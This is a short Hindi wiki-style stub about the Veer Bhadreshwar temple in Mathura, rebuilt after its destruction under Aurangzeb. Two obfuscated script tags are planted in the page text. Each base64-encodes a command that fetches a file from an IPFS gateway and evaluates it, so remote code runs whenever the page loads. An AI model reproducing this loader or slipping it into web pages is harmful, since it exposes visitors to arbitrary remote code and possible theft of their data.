वीर भद्रेश्वर मन्दिर
नेविगेशन पर जाएँ
खोज पर जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
श्री वीर भद्रेश्वर मन्दिर / Veer Bhadreshwar Temple
मथुरा के चौबच्चा पाड़ा में स्थित शैव देवालय जो औरंगजेब के काल में ध्वस्त हो गया उसे बनारस के राजा पटनीमल्ल ने नवीन रूप प्रदान कर संवत 1965 की वैशाख शुक्ल 13 को श्रृद्धालुओं के लिए समर्पित किया । मन्दिर के ऊपर इसका शिलालेख भी लगा है ।
साँचा:Mathura temple